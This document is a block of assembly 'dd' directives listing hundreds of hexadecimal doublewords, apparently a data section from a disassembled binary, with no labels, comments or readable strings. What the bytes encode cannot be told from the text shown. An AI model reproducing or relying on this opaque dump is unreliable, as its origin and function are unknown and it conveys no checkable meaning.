		dd 7DCB008Ch, 245BA034h, 8507E50Bh, 0AD67C901h,	0E52C0C3h
		dd 260D6D18h, 42961E10h, 386C6442h, 0C98CD84Ah,	0A400A610h
		dd 98554D6Eh, 656645E2h, 24211E08h, 0B46A84h, 0EA18ACEBh
		dd 370177D7h, 0E92E59A7h, 2981CFE3h, 7461B9C6h,	0F1ECD8CCh
		dd 0EE19D660h, 4A56786h, 0B0B6F5F3h, 0B1B9C307h, 0DE01A074h
		dd 97A34631h, 0CFF0AE2Ch, 0E0FD3169h, 8CC158h, 1C4C538h
		dd 0E7D0BB2Fh, 40FF1679h, 0A108BFA4h, 2EEBFE1Ch, 1D027AA6h
		dd 0E19030F1h, 9D705B13h, 0CE87007Bh, 0C1EFD2FEh, 95002826h
		dd 0CB7E6F1Bh, 0FFE062h, 0F482366Ah, 740EC8F2h,	8032BC3Dh
		dd 0E542E66Ch, 18C657BAh, 40E47226h, 0A005A0Dh,	1C31C220h
		dd 30DC5224h, 3430296Ah, 6000D5C1h, 0CA4AC63Eh,	0F2BA3C8h
		dd 0EAF32138h, 0D08B8683h, 5B1D687Ch, 32C6B237h, 140984Fh
		dd 8EA8246Eh, 0F4E02F04h, 0F3004358h, 2AF4E772h, 76FCA08Dh
		dd 60CEE46Ch, 0F1307020h, 3618E2D5h, 5C58F716h,	5FFDE99Ah
		dd 0F2BECED0h, 7C3EED1h, 7C046EE7h, 0B2A6C311h,	5A351904h
		dd 1E400FDEh, 0E718419Dh, 0BB7FB000h, 4239C0E6h, 0F9C70272h
		dd 0ED77402Ch, 3C000496h, 0EBA4FA6Ch, 0DEAA45h,	0DA886364h
		dd 784FE914h, 8C01A1F2h, 9671A5CCh, 5FEC0976h, 6C5C011Bh
		dd 2DB2BC97h, 4B32DC40h, 459AF70Fh, 0B1D8A0B3h,	38D963Eh
		dd 9B73D29h, 20CEAA3Ah,	0EDFC2C05h, 203CF1A9h, 3992218Fh
		dd 26661483h, 2C5CC840h, 6C7C5055h, 83033D4Dh, 0EBD85E01h
		dd 98F0668Bh, 72214108h, 0AA83001Bh, 8D176116h,	0D97C8166h
		dd 4F3CFE14h, 0F9950084h, 94A36FC1h, 0E59F001Bh, 0E2A0B05Ah
		dd 0E8C03DAAh, 0F8EF51A5h, 0DE47281Ch, 0E5780584h, 408B5807h
		dd 610ED7A4h, 0A9065FA0h, 72F44BD0h, 0A9E06008h, 336193B4h
		dd 1FA0092Ch, 0E7FA8D00h, 0E4FFB5Fh, 0E87440B0h, 9ECC858Ah
		dd 0E67BC082h, 9006169Fh, 4AC31A1Bh, 2945E7D1h,	830F8060h
		dd 385E1028h, 845AC8ECh, 838307A6h, 5DF062FFh, 100327EDh
		dd 0C53CFC6Dh, 76C10574h, 0B3AAA82h, 1C86BFC0h,	1400E8EAh
		dd 8D92875Ch, 67F5B0DDh, 41F23076h, 815A3494h, 2422E0B1h
		dd 91D01048h, 0CAD81D30h, 31951892h, 24021A03h,	0FED604B2h
		dd 46BCA047h, 0BA5382h,	3211FDD3h, 8CCCB2DAh, 30E375EAh
		dd 15003E27h, 3709715Ch, 1897865Fh, 4145FE6Bh, 76018F6Fh
		dd 0F9CB3F26h, 5F0B61Ch, 213060FDh, 749AD4Ch, 0EAFBBF0Fh
		dd 60B4945h, 21E673h, 0EE4B55F2h, 9CABCF27h, 147C25ECh
		dd 5C8C560Ah, 1700804Eh, 718FF02h, 660C894h, 0C49A2C0h
		dd 22D346BFh, 52E10042h, 916AB44Bh, 87493234h, 0A0052870h
		dd 29029346h, 1A10B924h, 21BDE231h, 0B4240180h,	12695D82h
		dd 0A3AB8402h, 8BC36Dh,	0EB1F4D40h, 0FD21BE0Ch,	1F18814Bh
		dd 559A84F8h, 8300C491h, 2B599C3Bh, 69006127h, 2A97EC1Ah
		dd 26BEDF88h, 1FB2A204h, 0A0317034h, 0CF1FDE12h, 880789Bh
		dd 0B5BD885Dh, 611B0001h, 3D8514Ah, 7FA8786h, 0D1806955h
		dd 92FC70A8h, 0CD8B810Dh, 108019BFh, 1AA49093h,	21062FBBh
		dd 3FFEDED3h, 1D0D00B1h, 58AABD83h, 210AF22Ah, 0C4D7E0B5h
		dd 1240F701h, 1030D004h, 0E47800C4h, 38DD9EC8h,	0F1244E1Eh
		dd 0E88578EAh, 9C4145B2h, 31520859h, 1F86C30h, 16424E87h
		dd 2477C483h, 22035970h, 458169BBh, 0A087E272h,	2C5B01FCh
		dd 0B49353h, 5E2282B9h,	4486EB48h, 0F100A44Eh, 722D6982h
		dd 511FC5h, 497081B4h, 913AD920h, 32FAF200h, 98D89279h
		dd 7E6E0656h, 0A07AF3A4h, 1860BE09h, 1CBC80DFh,	78215B0Bh
		dd 31FE2A54h, 34BE0990h
		dd 0ED039BB7h, 0C094E5B5h, 3962772h, 947F73Eh, 4167604h
		dd 0A1600154h, 0BF106B49h, 0EEB0E85Bh, 34584B29h, 7CB850D3h
		dd 288C80C0h, 50E8DF22h, 2632C91Dh, 9C10E11Bh, 3CA5901Ch
		dd 46B60578h, 10032F77h, 0F0B150FBh, 0B0F4DEF1h, 54D27541h
		dd 70F094E6h, 3065FBBFh, 3E28D410h, 47D526E5h, 611860A8h
		dd 79465FDEh, 0CA00EC22h, 26816175h, 0E78713FBh, 51837AD1h
		dd 5C458C53h, 0CE8096E8h, 94052279h, 90D9387Fh,	0C2925FC0h
		dd 0D8CB1951h, 32F188C0h, 77E6F168h, 0AB048D0Ch, 0DA6D5334h
		dd 105CA4C8h, 4E69B22h,	0A244B469h, 89C42A05h, 368441BCh
		dd 0D4AC600Eh, 44009884h, 5C2431E1h, 3C859002h,	0C8906CCBh
		dd 51CA4310h, 8CF0A8EBh, 0DBBB1612h, 0ACDC214Ch, 32D210E9h
		dd 504B61F6h, 4185BE6Dh, 0EFA8BCh, 0F08B2A55h, 46FF0031h
		dd 662918B5h, 3605EB30h, 7916B0EEh, 0E023C82Fh,	0C4DDBD00h
		dd 799A9B9h, 64657B68h,	0BCB040E4h, 5609E929h, 1A2CF542h
		dd 0F1A461ECh, 86C3448h, 195FA261h, 0B640E3C4h,	0F8A861A9h
		dd 0E699B900h, 93EBC273h, 845F0017h, 0B39CDBD4h, 0E8C0DCA0h
		dd 0B63253B8h, 0C8A35142h, 80EAFFE8h, 921D168Dh, 0BF87861Ah
		dd 81A9EB4Bh, 76B3AC38h, 0EA6A28E8h, 0B8BD6908h, 2D930F00h
		dd 950547B9h, 0E4F456FEh, 9B5BE840h, 65F244Eh, 6CAD722Ah
		dd 27090CA4h, 8F406202h, 0A681B124h, 0C15E2982h, 88AF0CECh
		dd 823DFEA3h, 183F3D61h, 0D119DB7Eh, 0BCD80056h, 0E791CBCDh
		dd 0B5180963h, 2ED05A8Ch, 4169005Fh, 0A5305B11h, 230014F7h
		dd 0E293FF85h, 8CCD04h,	0A3F94FB7h, 92EB3B77h, 5B18D260h
		dd 0A089CCDBh, 2648A598h, 84C4E93h, 5F0D62B7h, 6010882Ch
		dd 10169A3Dh, 0C8EB685Eh, 0D57080ACh, 2DCFA782h, 0E493A300h
		dd 8B14A613h, 772B0195h, 0BC8CED16h, 92B8B9DDh,	0DC413267h
		dd 0E313C4DFh, 780B18BFh, 408155A8h, 83D6B8C3h,	0EBF430A0h
		dd 698015Bh, 0EE9DD8A6h, 0D4083F7h, 0E034A7ACh,	60E85685h
		dd 5179059h, 68B29F1Fh,	19047D7Eh, 4DC9B416h, 57E971C0h
		dd 0DCCB02DFh, 10743B8Eh, 6D25A440h, 10D48620h,	358B0C5h
		dd 0F00A9E5Eh, 138812F4h, 0D01E0Dh, 7E793DE9h, 0C505AF90h
		dd 0D8477F80h, 99AB9847h, 4EA80FA9h, 843A601Fh,	230994h
		dd 0D01EF0AEh, 0D87B6AC7h, 0EFFA8213h, 0B8A61C00h, 0E830059Dh
		dd 2C063C7Ah, 0C44001CAh, 1157C77Ch, 10C47FCh, 5FB76108h
		dd 5FDAC471h, 0F661964Ch, 11660187h, 44055B9Ah,	0B8642879h
		dd 391D8CDAh, 10C1943Eh, 0AA6D8E0Bh, 51495434h,	0A8209C6Ch
		dd 16048C60h, 2110C24h,	5F201362h, 8C242Fh, 81FA6D17h
		dd 22E4E3A5h, 0D6584309h, 5E7880D2h, 0B17F7805h, 57D500F4h
		dd 6B90BA70h, 0F1BC4700h, 799AD436h, 60074C85h,	58CDBE8h
		dd 672251DAh, 85C400E3h, 0CD19BC96h, 1BB8FD50h,	1A0494ACh
		dd 95FAC61h, 0C80B88CEh, 0C780616Fh, 5BFC6908h,	0E2D0ECF1h
		dd 4BA9F000h, 4FA57E15h, 17F8F259h, 4149E314h, 6C363248h
		dd 1A987090h, 0D6D49955h, 0F4007C51h, 6B66A771h, 5C2C12D9h
		dd 85824CBh, 28C096BCh,	4310A624h, 16198E12h, 0DF2EE0h
		dd 0C8814689h, 53108ECCh, 0AA156A14h, 325F81BCh, 85309C4Bh
		dd 94D802A4h, 0D2C207B7h, 0E3689460h, 8912D090h, 2088560Bh
		dd 436F1C7Dh, 337080A3h, 3F9D094Fh, 50421100h, 5329CFFAh
		dd 0D93E60FDh, 906F5538h, 0FED78E39h, 5884F700h, 8D3F96D3h
		dd 0AF88009Eh, 5F4A6B17h, 0A8B15DC7h, 0E27C523Bh, 8A6430E6h
		dd 0C15DB05h, 0EC407571h, 0F8A38792h, 0BF5404C1h, 0B0DC10B4h
		dd 120E6604h, 0E182481Ah, 1BB3A546h, 3A370030h,	0A300C767h
		dd 8B1506DAh, 0F01F72CCh, 446D002h, 46A09D77h, 242D026Fh
		dd 307A103Dh, 38006894h, 0F3FB4786h, 1EA221Bh, 87A73EE2h
		dd 0E5B683E0h, 9ED7F428h, 173300Ch, 0E209306Dh,	0ABC300BBh
		dd 0D52D481h, 8C6CCEAh,	203410h, 0E4C36428h, 6F8FBCA4h
		dd 698C5600h, 68FE5D5Ch, 7A9E094h, 0E30B7E31h, 4A7A035Bh
		dd 386909A0h, 0A8DD8B00h, 2E507B33h, 1093798Eh,	0D8630B0h
		dd 280D3927h, 0FCA12E0h, 0A8DC0CD1h, 0D17C3286h, 0BEEA7B74h
		dd 6029036Eh, 5A65F3D1h, 0B26D192Ch, 80D50981h,	0F3F94931h
		dd 0CCA1405h, 0D841C9ABh, 96180298h, 0D1B05CB9h, 0D2B61457h
		dd 7688887Ch, 0B0C3DCC0h, 22CC4681h, 6129003Dh,	5D820FC3h
		dd 7C0763F0h, 35565790h, 26FD50FDh, 8B99E181h, 0CC28FA71h
		dd 580EE7F1h, 2247A37Ch, 979FC94Ah, 9E1291C4h, 0F79C69C7h
		dd 0C76704D9h, 0E63812C0h, 0E03AF1EBh, 0FC3CD945h, 0D6CB803Ah
		dd 0F5ED2F52h, 77D30CD4h, 0B3EA8690h, 204DC10Ah, 9D0FD4E4h
		dd 83146B99h, 53DEEF4h,	0E9ED5A91h, 0A5980061h,	5C207921h
		dd 7D013DB8h, 0B5840EDCh, 20814F75h, 0F9680234h, 8204F63h
		dd 603B0DD2h, 8609BA3Ah, 16D0AE81h, 69E9C062h, 0D2C46198h
		dd 6D2AA91Ch, 872B14Ch,	0CD21CE9Ah, 0D56CC440h,	9D00C33Fh
		dd 74A94513h, 1E5C643Ah, 0A986AAA8h, 0C40C0328h, 62D4A9CFh
		dd 74E02E80h, 94B5C9C4h, 49E02814h, 648187ACh, 6B5D2561h
		dd 2CB4E4h, 40B79554h, 2DF084C3h, 81C15E3Eh, 0D67D7DDh
		dd 82037FDh, 4829F835h,	6088308Ah, 0AEC3DAC0h, 221C4681h
		dd 0BF2B1C15h, 11D500C3h, 0F116EBFDh, 85295B1Dh, 606C45CCh
		dd 4089EEEFh, 1D631C8Bh, 0F03CE938h, 5121EA98h,	8008CC53h
		dd 5639120Bh, 1384000Ah, 61215ACAh, 9524F772h, 9A9F9CDBh
		dd 4D37B801h, 17CC6452h, 5DE00142h, 0A85E6BB1h,	3C788166h
		dd 0B248FB09h, 0AEA69050h, 35D600AFh, 0FD900C7Dh, 0CEE90D4Ch
		dd 17700068h, 6FAD3Eh, 1FA218E1h, 45F3B84h, 75BAFF8Dh
		dd 0C0009E51h, 0EC060EFFh, 0DFEB014Bh, 9FCE5A39h, 0C51B893h
		dd 605699BBh, 0FBC60F0Bh, 7FE0E31Dh, 0E41A2DFCh, 0C0D33800h
		dd 0B33A5AE5h, 91600177h, 8F952CB8h, 7355DC29h,	0C6563300h
		dd 67B563A2h, 83A13ACFh, 0A8166C03h, 1146825Bh,	0CDA48304h
		dd 0D31000DFh, 0AB74E676h, 0E700087Ch, 734C6922h, 0FE3BB9h
		dd 0A2CAEFC1h, 1BA31978h, 0BE002BE8h, 9747D48Ch, 0FA1F21h
		dd 74E433C4h, 34FD719Ah, 240F9300h, 96A84F5Ah, 0D74E0F87h
		dd 20A044E9h, 784C86B0h, 0CED21100h, 0D42CA0E8h, 0B6AA0717h
		dd 10C6D59Eh, 0E70E6A65h, 5216A100h, 0A8FFF69Ah, 34E10077h
		dd 0E48ADE25h, 2BB83F91h, 0E6A72B03h, 0E06753CFh, 37A488h
		dd 1BB90387h, 0C9182725h, 0C703C5FEh, 79B5BDF5h, 0A11E9084h
		dd 0F30B0F91h, 0A6205041h, 7F8BCED1h, 96BE5200h, 66EE71C6h
		dd 3E7BB6h, 7A0F5CA7h, 0D9237406h, 0AB8ECD00h, 0AE575CEh
		dd 21703D6h, 0E030E762h, 7348BBA8h, 47901200h, 341B82C2h
		dd 0E1780326h, 0BC4DCF81h, 89BC02A5h, 99C0DE1Ah, 0D9000676h
		dd 43FFF778h, 0FAFA0E6Fh, 719817CAh, 0B5530055h, 4FCC6F4h
		dd 0FB13871Fh, 3517C400h, 3C61A10Dh, 2A9C7C2Fh,	0DF584022h
		dd 4C42BC9Fh, 3429C100h, 0AB62EBA6h, 1E0091D4h,	0E26A00B9h
		dd 50CF90EDh, 500F37Dh,	0F251C093h, 0CEECA3h, 0DBFD8B7Bh
		dd 6A77FC1Dh, 60F10200h, 0FB5CA4B4h, 7EAEECD7h,	247C00C2h
		dd 138FCFD1h, 12735685h, 38E70C3Ah, 4B8814E0h, 3A9800ADh
		dd 0B21F287h, 72FB0133h, 3F22C263h, 115EEC59h, 0A0898000h
		dd 0F61D9F8Dh, 0F403D52h, 31760A80h, 6E688808h,	5C0B5A28h
		dd 47799E00h, 11C66DC8h
		dd 278A00DDh, 7365DEB8h, 41CD4B5h, 1C00C07Eh, 6F711BA9h
		dd 77C90A82h, 0BDC08176h, 0D4A247Ch, 2B2C0EACh,	2924700h
		dd 7747CDEh, 0C42AB100h, 1E6EB23Eh, 41220016h, 285E2F99h
		dd 21124244h, 8218638Ch, 0B85DA718h, 733700F8h,	0E54A0D23h
		dd 8600D81Ch, 1EDD5707h, 3F673D65h, 2E8033E7h, 6F1BD9D7h
		dd 0E1D4164h, 0B3C168ECh, 10D8B9A4h, 62FED450h,	89E1CDDh
		dd 3CB4009Bh, 2BB6D207h, 0C52C0900h, 653A6B59h,	0FBB1C086h
		dd 0EC4B4590h, 0DBF3CB01h, 2F1A26A5h, 60EEA042h, 1F506F2Ah
		dd 0C7F75207h, 80F669F4h, 0CF66D721h, 47CD2205h, 76C0CB57h
		dd 19A060h, 30BB3832h, 0FEE2BF8h, 46B9D60Fh, 64C40F5h
		dd 0C9E844h, 0C07F8F42h, 70413840h, 88A7F024h, 2B683E80h
		dd 3BB3E9C5h, 0F49378D8h, 0F240408Ch, 0C4D14D87h, 56C66600h
		dd 7D483C1Fh, 0D03A0034h, 2284DC9Ah, 0B3075CACh, 0D4E8F094h
		dd 0DF598090h, 29F91290h, 70124Dh, 0C2B37B03h, 8F0EBBF0h
		dd 874CBF45h, 0F480767Ch, 0C002FC74h, 98AD3108h, 640006E8h
		dd 0B8E0C6FAh, 123C0914h, 3342BAAh, 70624124h, 724B7BD0h
		dd 0DDD1D500h, 0FD0CA48Fh, 32FA0076h, 6281F2BBh, 2C1D6A2Eh
		dd 6DC05E96h, 78D5E885h, 0A98C00BCh, 0EB9F6F36h, 7507DDC7h
		dd 9B35245Ah, 77565C40h, 113F00B1h, 0CE3796BAh,	0D3004A48h
		dd 942FF466h, 199F93Ah,	0A44BB34Dh, 0F4738BFAh,	939B559h
		dd 0B69880EBh, 1A198F41h, 0F81D01D3h, 0B3F7CDBFh, 0D8CC4F1h
		dd 13116F0Ch, 1C16F008h, 0C0686A30h, 0B55A1F4Ch, 0F571C6C0h
		dd 86F25404h, 3480F7CCh, 1C6C2Ch, 0C7BBDE69h, 0B44B25E2h
		dd 16859B00h, 0A13E7E8Eh, 0BE480065h, 356F8ADBh, 8B005A6Bh
		dd 32F742DAh, 0C05273h,	0BDF1218Dh, 35E483C1h, 0CC001975h
		dd 0BEDD2286h, 8F032Bh,	96373917h, 31301360h, 361AE30Fh
		dd 0A02C2E8Eh, 0FB6132C1h, 0A74200BAh, 0E0B875E9h, 6D008B90h
		dd 0FD72FAC0h, 82EE0Fh,	70F9C976h, 95B7495Fh, 0B477C800h
		dd 7C9BDD98h, 0CAD4C44h, 0C71FC100h, 0C041BCDEh, 0F82B90C0h
		dd 70703B2h, 0CA8B141Ch, 8A069D4h, 568045A6h, 32CBF80Eh
		dd 8E096342h, 65FEF050h, 0D6B40E52h, 0DD00E420h, 472F5C49h
		dd 81ED5500h, 0AC45609Ah, 0F87B030Ah, 5632D6F4h, 0D405AFC0h
		dd 0C897CC00h, 28F1B8C9h, 63FB0E73h, 47E08F39h,	42CDF578h
		dd 0A842600h, 503D3A17h, 43E00FCh, 277F722Ah, 4F1C6525h
		dd 8806D29h, 74FB2B28h,	0A5100220h, 8BC2D423h, 625F9E0h
		dd 6D003DE8h, 887C517Dh, 0BA67E3h, 12E57028h, 0CC09552Bh
		dd 1A5F0204h, 0C0878C3Bh, 5388C990h, 832F3A54h,	0B11C6600h
		dd 11A551D9h, 7AA04604h, 0B5C09020h, 9EF404Bh, 74F57FBCh
		dd 77760F57h, 0EA819D00h, 101B663h, 73C6B8ACh, 0D05689F6h
		dd 9E001CBEh, 35E950CDh, 395A1D4Fh, 0EC006777h,	9E338F8h
		dd 43026008h, 0B4FD6865h, 64C8A00Ch, 7D545A46h,	0C76F00FAh
		dd 9537C16h, 0AFE8E75Eh, 2D011E98h, 5FDC89D5h, 98EBF3CCh
		dd 7AE9600Ah, 22B75C67h, 3692D601h, 0D8BACE3Fh,	100692Ch
		dd 4170E389h, 796BC2Dh,	5A7FA7C8h, 647502Fh, 66001388h
		dd 4410DA45h, 2B4D55h, 1AF9CFA3h, 890DF39Eh, 2D0044DEh
		dd 8E8128E9h, 0CBA0FE3h, 4BC0A5CDh, 0B0FF4D60h,	0C58C4400h
		dd 1476D0B6h, 0E67B67h,	63B75C1Ch, 0A5FD5D83h, 0AB64AD00h
		dd 0F38F1091h, 42F80094h, 0E445CA3Eh, 1C00DD33h, 9EB7A755h
		dd 0C4AB34h, 8AD48EB3h,	15E204B4h, 219D9602h, 68D1DFC3h
		dd 9834DCh, 0D84078F2h,	2D0E102Fh, 0D256A103h, 90FE3CCFh
		dd 2C73EE75h, 0E4D56Ah,	0A57077ECh, 921EAD4Dh, 0A40166FFh
		dd 2B08C55Fh, 0B42520h,	7FD35809h, 0B77048B1h, 0C4BBB824h
		dd 777DD007h, 49B31DA7h, 0B0E5916Fh, 0F6077EE4h, 83F23F7Ah
		dd 0FC910903h, 97F09334h, 67004EA9h, 0FFB1B9DEh, 0CA2F5BEh
		dd 29269EDFh, 0AF005021h, 13085468h, 3B1602DEh,	0FB6ADAh
		dd 0CB159141h, 0B5BF9058h, 0E5C0D24Ah, 0BAB696h, 0AFB40AEDh
		dd 540863ADh, 0E0D7D302h, 60559D30h, 6EE992h, 9199C1F1h
		dd 643AFCF9h, 9D2AE301h, 0B21060B5h, 6EC5F02Fh,	5B751B00h
		dd 0CC3EDBC9h, 0AF0A0785h, 10BC8324h, 0FDE287E5h, 4155D000h
		dd 89DF7346h, 2C4DFE0Ah, 0CF57E7h, 0F65F4A8Ch, 11005BB0h
		dd 8487F895h, 252AC88h,	0E1BD9659h, 0F4C876D5h,	6000E54Fh
		dd 15C37E9Bh, 0C90CBBh,	6959F8E9h, 0E613CC6Ch, 4177C400h
		dd 14CB68A2h, 0A32900F7h, 94DB4F2Dh, 8A0ED02h, 0F3E0B705h
		dd 3A8E220Ah, 0EE00810Ch, 23C7959Bh, 1846257Ah,	0C99E040Fh
		dd 0D201DAA5h, 0D14C053Dh, 602D087h, 0D458372Ch, 0DD6A00BBh
		dd 0A678E7CCh, 7C07422h, 6530971Ah, 0C0E88782h,	85FC87B2h
		dd 5699ECE1h, 61864300h, 7E3A3314h, 0A703001Bh,	0F8DA273Fh
		dd 0AC3D3004h, 1A5D8E22h, 0C1687BA8h, 4CE578B8h, 3AC18D0h
		dd 0DDA02B88h, 23B83B45h, 94F02F87h, 3EBBEC00h,	4D2E22B3h
		dd 802067A5h, 9E81830Fh, 0BD844C89h, 19210050h,	0B0B854F9h
		dd 0B7A400F4h, 0D815AAFh, 0BCA8DDDFh, 5700E15Dh, 204575E4h
		dd 445168h, 0C5D43C77h,	0D926641Bh, 232E0306h, 0E264874Ch
		dd 0C4183996h, 1E35CC00h, 3B66F02h, 2B823D00h, 120D6A54h
		dd 2E430306h, 0AA159BA3h, 0F66F3EA8h, 5FD1C700h, 4F347220h
		dd 0B4C800F5h, 8AD6A95Bh, 233C0A63h, 1CB84F8h, 9C807193h
		dd 5C65EBh, 0EFAF03DDh,	0C8D713BBh, 11146400h, 50FDA59h
		dd 80C100A6h, 1B4769A2h, 97006683h, 13BE3CD7h, 73FA461h
		dd 6F9D9A09h, 0C488905Fh, 0A63D8F3Bh, 4E3600F9h, 0F78A6CC7h
		dd 1807E91h, 0B8325127h, 0E45AFA6Fh, 0CA00D93Bh, 64ACD1A4h
		dd 13FC71h, 0E561F6C8h,	83FF7931h, 0F899B713h, 2C412C80h
		dd 0CAA7222h, 7ADE7898h, 21C0B209h, 54219461h, 28E00EEh
		dd 0C9FA4DB0h, 624B428h, 40804C66h, 308CAEE7h, 3E0E679h
		dd 5B08D4FEh, 200317A7h, 7C1E81E9h, 47313E60h, 0C8293880h
		dd 9E584515h, 74081D66h, 0EA20021h, 0D3C86138h,	3C039779h
		dd 0CF7120A8h, 245806D0h, 0D0B6B15Fh, 0D8B29096h, 221530AEh
		dd 0D0460B72h, 0BA00AF22h, 46B2219Ch, 5E5454Ah,	523C8154h
		dd 89944401h, 0F77CA461h, 7F944F00h, 0A04B4985h, 0DE810059h
		dd 4C8CABC8h, 10C364FEh, 0C38D54D4h, 959488DFh,	13F60004h
		dd 0B7451F92h, 740F2C3Bh, 0A0D35CB1h, 75E6E47Eh, 8AAB005Ah
		dd 1D5582F6h, 0E300CA6Ch, 4D6E96CDh, 18C2FB10h,	303E5991h
		dd 5F00EDE0h, 924831E2h, 607FA163h, 0FA56181Dh,	0E83D712Dh
		dd 8E4980CDh, 52C57C3h,	0FFE99h, 0A44DE168h, 7BC6F05Dh
		dd 0B5FB0100h, 8B267F87h, 0B1710060h, 0D2A0C63h, 5A164F37h
		dd 371D191Bh, 0E8F6B503h, 4C9F988Dh, 470C08Ah, 15F8E6F3h
		dd 0EA710E0Fh, 85AD0054h, 0EE813F78h, 2914606Fh, 0EDA1EE7Eh
		dd 318CDE0Fh, 2BAC4056h, 0FA15C405h, 0E8C2670Eh, 4B170F7h
		dd 6E1D1B9Fh, 0A103DEBBh, 0A09A5F2Ch, 0F002BE67h, 8A170AD7h
		dd 83A0DF3Bh, 75B81D9h,	0FA9AE81Dh, 4BCFD500h, 0FECE92h
		dd 973D239Ch, 28DB4068h, 372E0A00h, 0C4D0A38Ch,	29BD062Ah
		dd 0EC0C8EE6h, 0E705510Eh, 1376A160h, 0F2FC3D55h, 180700A5h
		dd 0F6CC7967h, 0F4007256h, 0FFB493D1h, 398914Ah, 0C44117A4h
		dd 49C0C0BCh, 60FAD4BBh, 76A9BD00h, 929E8632h, 7C670BC5h
		dd 3B00368Ah, 0FD8CC32Bh
		dd 6EAD3F6h, 80044100h,	49E416DFh, 0F64E3CC4h, 28129B8Fh
		dd 0BB14E1C0h, 0F300EBB1h, 29A2C545h, 300FCD32h, 0E9E29EB2h
		dd 303B6904h, 0BF820562h, 0D5802DE5h, 257FC3h, 0C94A58B2h
		dd 654C18FDh, 5B4EA400h, 6CE43026h, 67A70091h, 0BF87FAB1h
		dd 8B00FFD7h, 48FD46FBh, 0F4E59BECh, 522707E3h,	0B0689433h
		dd 6AE94365h, 0B0012E7Dh, 66B1160Bh, 8BC84C79h,	0E1040031h
		dd 74479A4Eh, 0AC7FE5C6h, 0CE29C700h, 87832D5Dh, 8B25005Ch
		dd 0B4FC31BCh, 0F90051AAh, 0D816E94Eh, 0E4DE0BA7h, 504B603Ch
		dd 8F4E7E0h, 57897503h,	0A00DA0E1h, 749A6CC2h, 630CEC4h
		dd 37CA7A60h, 510084C7h, 38B803EFh, 609FE9h, 196DC386h
		dd 96FC8B53h, 0E7644E07h, 0E105F924h, 6A6F77C0h, 0F67A00B0h
		dd 0D97874B2h, 0BD033929h, 315B9271h, 0E10F903Fh, 6FB00079h
		dd 708FD443h, 0DA03F2F5h, 0D791A139h, 0C126D0ACh, 0ABE700E5h
		dd 986C8392h, 3E00B187h, 4FA4D172h, 0E2C7E004h,	0F0877D8h
		dd 3B928AEh, 0C46C6BA0h, 7000CC7Ch, 0E15489C9h,	0E643D72h
		dd 6EE209ECh, 6FBEF980h, 3009F5Bh, 36C5200Dh, 0F5C1848Bh
		dd 0B64CE4h, 0F1BAA178h, 0F87E6944h, 453B4300h,	59ED0167h
		dd 0BB300013h, 0F4B7879Ch, 9403938Dh, 574CDDA7h, 0BD99A019h
		dd 2EF13810h, 0DE694680h, 763273F7h, 0CE84B800h, 7B1F0C2Fh
		dd 1A010043h, 0D8B77483h, 5503227Dh, 0FD4EBF97h, 29E00089h
		dd 0E19F256Ch, 1100E731h, 0E3369F4h, 3A6793FBh,	0BF809BCBh
		dd 398FCF9Fh, 4A0E4725h, 7DC0AD62h, 0D8828100h,	0E43DA733h
		dd 56A00012h, 8DC2A6D0h, 0E6030D5h, 0E2236838h,	7927001Bh
		dd 0C2AD881Dh, 4E0A97B1h, 0C1E0A7DDh, 6FF9B203h, 56708062h
		dd 138C06Ch, 0C4EA4AC2h, 7D197103h, 0E0766233h,	17FC5E9h
		dd 0BC639807h, 0D01B659Eh, 7D000AA4h, 7A5B2491h, 181C99h
		dd 0DA2AE93h, 16C4BAD1h, 674EB01Dh, 8CEFE08Bh, 0E30E6A7h
		dd 1DB9155Bh, 0C720AB44h, 6BEE6062h, 0B001BBDh,	46FD2E72h
		dd 5FA5Dh, 0A5E4C68Bh, 5FE532BBh, 3A60ED48h, 3363CA7h
		dd 2C9EF305h, 0D786A114h, 0C079CCE8h, 596FCA36h, 2514880Ch
		dd 58E4CD3Ch, 63E10026h, 0EC364A77h, 5CA77085h,	0DA007A56h
		dd 0AA34189Bh, 972C9E43h, 0A5067BE3h, 71D047A6h, 6B390F77h
		dd 63A79DD6h, 2144AE5Ch, 0C915803Bh, 730A47B8h,	9D9C3C1Eh
		dd 0AC9E5307h, 0FC7F6DB0h, 7B0C0075h, 47709872h, 76779152h
		dd 778AE500h, 60235E6Eh, 0E89209B6h, 0B8056ACAh, 0A2AA007Eh
		dd 0B254D184h, 1794C5Ch, 0F11F9626h, 76D8FDF2h,	18AF090h
		dd 0B1DEE728h, 0D8153F98h, 0D313A5C5h, 0AFA0FBh, 8BD24C82h
		dd 8DE26593h, 0FCEA501Fh, 956F68C0h, 75203A4Fh,	4A391E7Fh
		dd 0BDCC40C0h, 0BC5A7A08h, 0F5F35F00h, 2E63D7B5h, 7427BB4h
		dd 0B3F19F0Fh, 0C9D66072h, 5B027DC4h, 3BE096D9h, 0AF840A6h
		dd 0E2BB00F2h, 5433C14h, 0C500D16Eh, 77106824h,	1F61C355h
		dd 0FE5DBFh, 4F57B3E5h,	0E600F818h, 9CAEF920h, 713F4Ah
		dd 8F650EA1h, 72F3CC91h, 3985A300h, 0E276C014h,	0C1230042h
		dd 89AC5461h, 830F6503h, 0A04F5073h, 8BDC6659h,	6238304Bh
		dd 0AE4E3D44h, 1F2E4801h, 3CE628E4h, 0C112E8h, 734BD111h
		dd 312BA67Ch, 2906000h,	0FD085B5Dh, 0CD4F0314h,	77853A26h
		dd 6C1083F0h, 24EC0C00h, 71AA2E81h, 38F6A8h, 68BC0796h
		dd 0AE1A3F18h, 900AD400h, 0E8867A26h, 5BC00115h, 51E65A20h
		dd 1081F823h, 683B700Fh, 88F4B1h, 2B2DEF32h, 0BD4B709h
		dd 0E92C71C0h, 502FC000h, 3D0024FCh, 0A48EC1DAh, 89581Ah
		dd 0DF62A09Fh, 3793336Eh, 2AAE0600h, 6FAC66C8h,	3AFC94h
		dd 6CF7EF16h, 89385997h, 91CD5D00h, 482AE034h, 85791E46h
		dd 0EF5E005Bh, 0FA92A5AEh, 13BF6600h, 57E78ACEh, 7F0C007Bh
		dd 393CE310h, 190F3B0Fh, 0E0A9FEDBh, 0D288B055h, 251F007Ch
		dd 4ACA50AAh, 1800AD92h, 0B17FD79Ch, 1285F3h, 9F611BBh
		dd 8B55FEEh, 0A4EDC600h, 0A280169Eh, 20BA60B9h,	231C1BDh
		dd 0E0D7CF28h, 0FDB52C00h, 1889E4BFh, 1A991DD6h, 6D807B11h
		dd 0D97A67F8h, 4B7C6286h, 50CDD800h, 0BF9AAD49h, 8EC90046h
		dd 9EB88393h, 0CB0C60C3h, 1182C5C4h, 0F0AF1F74h, 97D5C791h
		dd 3E308CCEh, 584D4B02h, 0E0D01B45h, 4ED798h, 0E7E69A80h
